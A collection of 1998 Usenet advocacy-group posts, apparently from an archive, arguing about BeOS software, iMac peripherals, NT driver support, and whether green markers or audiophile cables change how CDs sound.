References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net> <6opfhh$s93$1@news5.ispnews.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Earl Malmrose wrote:
>
> gmgraves@slip.net (George Graves) :
> > In article <6omnn1$o03$1@news2.ispnews.com>, Earl Malmrose
> > <malmrose@nospam.jetcity.com> wrote:
> >
> > > gmgraves@slip.net (George Graves) :
> > > > Care to tell
> > > > me the names of any REAL, useful software on Be?
> > >
> > > Here are some REAL, useful pieces that I use regularly:
> > > Code Warrior
> > > NetPositive
> > > BeInformed
> > > GobeProductive
> > >
> > Code Warrior is a development package.
>
> Oh, yes, a development package isn't "REAL, useful" software. Sorry, my
> mistake. I guess all the "REAL, useful" software grows on trees somewhere.
> Could you point the grove's location, so I can go pick some more?
No Earl, you've got it all wrong. "REAL, Useful Software" == "The same
stuff I've been using on my Win box, which I spent years of getting to
know and work around stupid things that will make my machine crash".
Oh, and Games, ICQ, whatever. Remember that 99% of computer owners
(sadly, most of them with the fattest and sexiest hardware) are using
them as toys.
Cheers,
Sander
From: klui@cup.hp.com (Ken Lui)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 17 Aug 1998 22:03:41 GMT
Organization: Hewlett-Packard Company
Message-ID: <6ra9bt$36e$1@ocean.cup.hp.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu>
In article <35D8A0C8.F8FF97DA@calvin.edu>,
Kyle Adams <frogkisser@geocities.com> wrote:
>nate wrote:
>> Quad Xeons have been shipping for a few weeks now.
> Tsk tsk tsk. Not according to an August 10th News.com article. Check it
>out at http://www.news.com/News/Item/0,4,25125,00.html and see for yourself.
The article only said 450MHz quad Xeons will be delayed; but the 400MHz
quad Xeons is shipping, according to Intel.
Ken
--
Ken Lui 19111 Pruneridge Avenue M/S 47UW
klui@cup.hp.com Cupertino, CA 95014-0795 USA
Information Solutions & Services 1.408.447.3230 FAX 1.408.447.5929
Views within this message may not be those of the Hewlett-Packard Company
From: gdwarnernyet@ricochet.net (Glen Warner)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: Tue, 18 Aug 1998 00:32:51 -0700
Organization: GlenTech
Message-ID: <gdwarnernyet-1808980032520001@mg-20664223-78.ricochet.net>
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net>
In article <scjennings-1608981741190001@ppp011.creative.net>,
scjennings@NOSPAMprowillen.com (Sam Jennings) wrote:
> In article <35D777E5.C9A694E3@shinbiro.com>, Brian Cho
> <chobros@shinbiro.com> wrote:
>
> > Is there a port to hook up a Zip drive? or a Spark Drive (only heard
It's 'Sparq', actually .....
> > about that from my friend). Maybe iMac doesn't have a floppy, so people
> > will just go out and hook up these 100MB-1GB drives?
>
> Iomega has announced plans to sell a Zip with a USB connection that will
> work with an iMac.
Yep ... and you'll recognize this iMac-compatible Zip drive because ...
it's color scheme will match that of the iMac.
Another possibility is to use the Serial-to-USB cable.
>
> Imation also is making a "Superdrive" that will read and write ordinary
> floppy disks, plus their "Superdisks" which will hold 120mb. So this would
> give an iMac the ability to read floppies and a Zip-like large-capacity
> disk.
>
> I wonder if Superdisk will catch on?
From what I've read, the Supderdisk is slower than the Zip.
--gdw
>
> Sam Jennings
> San Francisco
--
Remove the 'nyet' from the e-mail address, and you'll be all set.
(%*#$&! spammers ....)
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 17 Aug 1998 22:06:29 GMT
Organization: University of California at San Diego
Message-ID: <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com>
On Mon, 17 Aug 1998 16:15:03 -0500, Michael Peck wrote:
:Decent dodge, but it doesn't work. I've expressed my opinions on Apple's
:business direction and pure speculation regarding Apple's plans.
:Anything I have said regarding MacOS X is public knowledge, and as far
:as I know, I have not made any technical comments whatsoever regarding
:its stability.
What would you have them do, besides shutdown the company and return
the assets to the shareholders? Be another PC cloner?
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 17 Aug 1998 22:28:02 GMT
Organization: University of Maryland, College Park
Message-ID: <6raapi$7r8$1@hecate.umd.edu>
References: <35ba359f.0@news.depaul.edu> <6pnsqt$c9l$1@nnrp1.dejanews.com> <joe.ragosta-2907981552120001@wil38.dol.net> <35BF82F7.64FCFC4B@exu.ericsson.se> <6ra7vq$dur@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirrorafter@ wrote:
: Michael Peck <Michael.Peck@Ericsson.com> wrote:
: >
: >Just to illustrate how insignificant NT's lack of hardware support
: >actually is, I will now ask Joe to name a single hardware product that
: >NT cannot support.
: Windows NT Magazine, August 1998, talks about the possibly improved
: driver support situation with NT 5.0 as compared to 4.0.
: Among other things, Connectix QuickCam has no NT 4.0 drivers, according
: to the article in the magazine.
http://www.connectix.com/html/quickcam__pc__updates.html
NT 3.51 and NT 4.0 drivers.
: -arun gupta
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 17 Aug 1998 22:17:33 GMT
Organization: KU
Message-ID: <35dda824.6884754@198.0.0.100>
References: <35ba359f.0@news.depaul.edu> <6pnsqt$c9l$1@nnrp1.dejanews.com> <joe.ragosta-2907981552120001@wil38.dol.net> <35BF82F7.64FCFC4B@exu.ericsson.se> <6ra7vq$dur@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 17 Aug 1998 22:21:04 GMT
On 17 Aug 1998 21:40:10 GMT, gupta@kcopsrm.tm.tta.moc-mirror after @
wrote:
>Michael Peck <Michael.Peck@Ericsson.com> wrote:
>>
>>Just to illustrate how insignificant NT's lack of hardware support
>>actually is, I will now ask Joe to name a single hardware product that
>>NT cannot support.
>
I can do that. NT doesn't support my reveal video capture card. Of
course, Reveal went out of business 4 years ago.
Fortunately, it still works like a charm under 98.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: iMac question...
Date: 17 Aug 1998 16:24:22 +0200
Organization: The Computer Society at Lund
Message-ID: <6r9eem$19c$1@bartlet.df.lth.se>
References: <35D777E5.C9A694E3@shinbiro.com> <6r8jgg$m31$1@news.iswest.net> <6r8k37$mec$1@news.iswest.net> <joe.ragosta-1708980828150001@wil51.dol.net>
NNTP-Posting-User: cb
In article <joe.ragosta-1708980828150001@wil51.dol.net>,
Joe Ragosta <joe.ragosta@dol.net> wrote:
>There's a SCSI/Ethernet bridge. Check Apple's iMac page, but I think it
>was $99.
Where ? I can't find it. Maybe I'm blind :) Could you give a URL ?
>
>--
>Regards,
>Joe Ragosta
>http://www.dol.net/~Ragosta/complmac.htm
// Christian Brunschen
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: iMac question...
Newsgroups: alt.microsoft.sucks,alt.destroy.microsoft,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
References: <35D777E5.C9A694E3@shinbiro.com> <scjennings-1608981741190001@ppp011.creative.net> <6r86kc$p41@newsops.execpc.com> <joe.ragosta-1708980828590001@wil51.dol.net>
Message-ID: <35d84369.0@news.depaul.edu>
Date: 17 Aug 98 14:51:21 GMT
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> USB-SCSI? No thanks. There's an Ethernet-SCSI bridge that's not going to
> limit SCSI to 1.25 MB/sec.
That better be 100 megabit ether, otherwise USB (12 megabit) is
faster (than 10 megabit ether).
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Message-ID: <35D853A9.4D5B@betabreakers.com>
Date: Mon, 17 Aug 1998 09:00:41 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <gmgraves-1607982149230001@sf-pm5-7-71.dialup.slip.net> <6omnn1$o03$1@news2.ispnews.com> <gmgraves-1707981117140001@sf-pm5-10-74.dialup.slip.net> <6opfhh$s93$1@news5.ispnews.com> <35D7FD4F.2920CB6E@sci.kun.nl>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sander Stoks wrote:
>
> Earl Malmrose wrote:
> >
> > gmgraves@slip.net (George Graves) :
> > > In article <6omnn1$o03$1@news2.ispnews.com>, Earl Malmrose
> > > <malmrose@nospam.jetcity.com> wrote:
> > >
> > > > gmgraves@slip.net (George Graves) :
> > > > > Care to tell
> > > > > me the names of any REAL, useful software on Be?
> > > >
> > > > Here are some REAL, useful pieces that I use regularly:
> > > > Code Warrior
> > > > NetPositive
> > > > BeInformed
> > > > GobeProductive
> > > >
> > > Code Warrior is a development package.
> >
> > Oh, yes, a development package isn't "REAL, useful" software. Sorry, my
> > mistake. I guess all the "REAL, useful" software grows on trees somewhere.
> > Could you point the grove's location, so I can go pick some more?
>
> No Earl, you've got it all wrong. "REAL, Useful Software" == "The same
> stuff I've been using on my Win box, which I spent years of getting to
> know and work around stupid things that will make my machine crash".
> Oh, and Games, ICQ, whatever. Remember that 99% of computer owners
> (sadly, most of them with the fattest and sexiest hardware) are using
> them as toys.
>
> Cheers,
> Sander
If all you want out of a platform is the ability to run the same
software you've got on Windows, than use Windows. Ported software has
always sucked much more than the native version.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 17 Aug 1998 09:28:07 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1708980928070001@sf-usr1-49-177.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <jdoherty-1608982015410001@aus-tx21-08.ix.netcom.com>
In article <jdoherty-1608982015410001@aus-tx21-08.ix.netcom.com>,
jdoherty@ix.netcom.com (John Doherty) wrote:
> In article <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> [re: green markers and CDs]
>
> | It helped, believe it or not, in a number of cases. I don't know where my
> | green marker is now, but when CDs were relatively new, it did wonders.
>
> You're nuts, and any difference you perceived in this "test" was nothing
> more than your imagination.
>
> Show me a double-blind test published in a peer-reviewed acoustic
> engineering journal.
Oh, you mean the same engineering journals which claimed for years:
1) There was NO difference in the sound of similar spec'd amplifiers.
2) All CD players sounded the same.
3) Cables between componenets and between amps an speakers cannot affect
the sound?
4) Cables between the CD-transport and the outboard D/A converter can't
possible affect CD performance?
Are those the peer-reviewed acuostic engineering journals of which you
speak? If so, be advised that the so-called "lunatic fringe" audio magazines
were duly reporting that all of the above were real, repeatable, demonstrable
phenomenea when the likes of 'The Journal of the Audio Engineering
Society" were pooh-poohing them. Since then, studies have shown that all
the above ARE true, real, and measurable (if one knows what to measure) and
the AES has since recanted on every point. So much for letting peer-reviewed
acoustic engineering journals serve as your ears and arbiters of what's real
or imagined in the world of audio.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 17 Aug 1998 09:36:41 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1708980936410001@sf-usr1-49-177.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r8n9m$drb$1@mailhost.sign-tronic.dk>
In article <6r8n9m$drb$1@mailhost.sign-tronic.dk>, erik@arbat.com wrote:
> In comp.sys.intel George Graves <gmgraves@slip.net> wrote:
> >
> > It helped, believe it or not, in a number of cases. I don't know where
my green
> > marker is now, but when CDs were relatively new, it did wonders. I was part
> > of several double-blind tests which proved conclusively that the green
marker
> > changed the sound -often for the better.
>
> You have a URL or a reference to this?
What, do you think that all the world's info is on the web? I doubt that
anything on green marking pens is posted anywhere. I haven't even seen
one of the pens since before most people ever heard of the internet.
>
> Why didn't they just measure the error rate, instead?
Because error rate never gave any conclusive results. The pen worked on
SOME CDs. Others were not affected at all, and some (the better sounding
ones -out of the box) were actually degraded in sound by the application
of the pen. I had one DGG in particular of Richard Strauss' "Alpine
Symphony" It was literally unlistenable before the application of the pen,
but afterwards, while still not very good, it was at least listenable.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 17 Aug 1998 09:47:02 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1708980947020001@sf-usr1-49-177.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <6r3nfr$l4g$1@nnrp1.dejanews.com> <joe.ragosta-1608980712020001@elk78.dol.net> <6r7eli$844$1@nnrp1.dejanews.com>
In article <6r7eli$844$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-1608980712020001@elk78.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Really? Then can you explain why every time NT crashes someone says "you
> > must have a bad driver" yet my Mac almost never crashes with a driver
> > problem? (The only major exception on the Mac side was that when the hard
> > drive formatting software vendors started proliferating a few years ago,
> > there were some buggy hard disk drivers, but these were generally fixed
> > pretty quickly.
>
> I can't really explain it but I can generate some well informed speculation.
> On the Mac side there aren't that many popular peripherals so it is probably
> practical to test your hardware (and drivers) with most of the common
> products on the market. That way, if you are writting new drivers then you
> can be fairly certain that your drivers won't conflict with the drivers of
> another product. On the PC side, this would be nearly impossible. There are
> too many configuration choices for you to even explore a small subset of
> them. On the PC there is probably also more market pressure to get something
> shipping even if it isn't fully tested and debugged. Hopefully, a nice
> Darwinian process will elimate those vendors.
If it makes you feel more secure, you just keep on believing that.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 10:03:10 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net>
In article <joe.ragosta-1708980656280001@elk81.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com>,
> uthant@un.org (U Thant) wrote:
>
> > In article <joe.ragosta-1608981658190001@elk59.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) wrote:
> >
> >
> > >
> > > What I don't understand is how this could affect the sound of a _digital_
> > > medium.
> > >
> > > Unless you hypothesize that a significant number of bits were being missed
> > > without the green marker, it doesn't make sense.
> >
> >
> > That damn red laser just bounces around all over the insides of a CD and
> > of course reflects off of the edge of the CD to continue its bouncing.
> > Somehow the light manages to find its way back to the pickup lens and
> > "fools" it into seeing the bounced light as CD information. The green
> > magic (good name!) marker reduces the reflections by absorbing most of
> > the bouncing red beam.
> > Never mind that measurements of error correction taken before and after
> > application of the pen don't change, people still hear a difference. Its
> > one of those audio things that can't be measured.
>
> But that's my point. If the error correction measurements are unchanged,
> the color couldn't possibly make a difference. If the laser sends
> 010011010110101.... to the DAC, it doesn't matter one whit whether those
> bits per picked up with a red laser, with a filtered laser, or with a
> PlaySchool player.
>
> The only possible explanation would be if the green magic marker reduced
> (or increased) the number of errors--and this should be easily
> quantifiable.
There is, however, another explanantion. We don't understand all we know about
the process of digitizing audio. I mean, based on your assumption, the cabel
between the CD transport and the outboard D/A converter shouldn't make any
difference to the sound either - but it does.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 09:58:49 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1708980958500001@sf-usr1-49-177.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net>
In article <joe.ragosta-1608981658190001@elk59.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > In article <35D72295.1D53@bellatlantic.net>, dutky@bellatlantic.net wrote:
> >
> > > Concerning the sound quality of audio CDs, Honathan Hendry
> > > wrote (possibly sarcastic):
> > > > You need to use a green marker on the edge of the CD.
> > >
> > > to which George Graves responded:
> > > > It helped, believe it or not ... I was part of several
> > > > double-blind tests which proved conclusively that the
> > > > green marker changed the sound - often for the better.
> > >
> > > and Jacob Fuller followed up with:
> > > > What exactly does the green marker do?
> > >
> > > If the green marker were applied to the edge of the CD
> > > it could easily change the amount of light scattered
> > > around on the inside of the CD plastic. The scattered
> > > light could be interfering with the CD players ability
> > > to identify the binary data on the platter, and the green
> > > boundry at the edge could be reducing the amount of scatterd
> > > light (the CD use either red or infrared LED lasers, which
> > > would be absorbed by a green filter).
> > >
> > > Now, I have my doubts about this double-blind test, however,
> > > since Mr. Graves says that "the green marker changed the
> > > sound - often for the better" I deduce that the sound also
> > > sometimes changed for the worse.
> >
> > That is partially corect. It also, in some cases, changed the
> > sound not at all.
>
> What I don't understand is how this could affect the sound of a _digital_
> medium.
>
> Unless you hypothesize that a significant number of bits were being missed
> without the green marker, it doesn't make sense.
>
> George--any ideas?
Not a clue. I was writing for Stereophile at the time this particular product
hit the streets ('87-'88? I picked-up mine at the Winter CES in Vegas that
year).
The folks at Stereophile's office (In Santa Fe NM) conducted doubel blind
tests,
and a number of bay-area audiophiles did the same (I was part of several of the
latter tests. In fact in two of them, my then girl friend, totally bored
by it all,
was switching between several copies of the same CD in another room. without
knowing why she was doing so). All the tests had the same outcome. Everyone
heard the difference on CDs where there was a difference almost 100% of the
time (where scores of near 50% represented blind chance), and heard a
degradation where there was a degradation at aroung 85% of the time and heard
no change where there seemed to be no change at about the same rate.
George Graves
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Mon, 17 Aug 1998 10:11:13 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1708981011140001@sf-usr1-49-177.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <seano1-1608981829480001@ip14.santa-clara11.ca.pub-ip.psi.net>
In article <seano1-1608981829480001@ip14.santa-clara11.ca.pub-ip.psi.net>,
seano1@earthlink.net (Sean O'Flaherty) wrote:
> In article <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com>,
> uthant@un.org (U Thant) wrote:
>
> >Never mind that measurements of error correction taken before and after
> >application of the pen don't change, people still hear a difference. Its
> >one of those audio things that can't be measured.
>
> But is it because of what they expect to hear? Try this ULR for another
> take on this. http://snopes.simplenet.com/music/media/marker.htm
HMMM. I was a participant in a number of double blind tests in which the
results were fairly consistent and where an overwhelming percentage of
the participants did, indeed perceive a difference between a treated and
a non-treated CD. I have also noted that as CD players and CDs have gotten
better over the years, the difference made by the green marker has diminished
to the point of irrelevance.
George Graves
nce.
>
> And even then, all those errant photons would have to make their way back
> from the rim to wherever the laser pickup was (CD data tracks start at the
> inside and spiral out toward the rim) all the while retaining enough
> intensity to cause light "noise" sufficient to create enough bit errors to
> overwhelm the error correction built in to the CD system.
>
> In short, the whole green markers idea is unadulterated superstition. At
> least they don't cost as much as the silver speaker wires that are also
> sold to the scientifically challenged.
You come to my house. I have enough different sets of "audiophile" speaker
cable (I've been an audio equipment reviewer for years) to show you that
different cables do INDEED sound different. If you walk away still unconvinced,
then you had best set up an apointment with an audiologist.
George Graves
From: CJH <ifmtrx@inficad.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Mon, 17 Aug 1998 10:17:38 -0700
Organization: Informatrix, Inc.
Message-ID: <35D865AF.5045B9BA@inficad.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net>
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William Frisbee wrote:
> >Ease of use. Covered extensively on my web site with URLs.
>
> Ease of use? Ease of use involves many things, like being able to get
> hardware for a Mac. Try changing your sound card or your video card. There
> are not very many available for the Mac. On the Intel side of the world I
> can get thousands of video cards and hundreds of sound cards, not to mention
> video capture, tuners, MPEG converters yadda yadda yadda, that is EASE of
> use to me. Something goes wrong or outta date, I go down to my local
> hardware store and pick it up and slap it in. No problems, no issues....
So I guess you built your own house too! Some people don't want the challenges
of constructing a damn computer!
CJ
From: Erik Corry <erik@arbat.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 17 Aug 1998 17:03:56 GMT
Organization: Home
Message-ID: <6r9nps$lsg$4@ec.arbat.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r8n9m$drb$1@mailhost.sign-tronic.dk> <gmgraves-1708980936410001@sf-usr1-49-177.dialup.slip.net>
User-Agent: tin/pre-1.4-971215 (UNIX) (Linux/2.0.35 (i686))
George Graves <gmgraves@slip.net> wrote:
> erik@arbat.com wrote:
>> > marker is now, but when CDs were relatively new, it did wonders. I was part
>> > of several double-blind tests which proved conclusively that the green
> marker
>> > changed the sound -often for the better.
>>
>> You have a URL or a reference to this?
> What, do you think that all the world's info is on the web? I doubt that
No, that's why I said "or a reference".
>> Why didn't they just measure the error rate, instead?
> Because error rate never gave any conclusive results. The pen worked on
You are saying that there was no difference in the error
rate before and after?
--
There's really no way to fix this, and still keep Perl pathologically eclectic
--
Erik Corry erik@arbat.com
Date: Mon, 17 Aug 1998 13:30:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
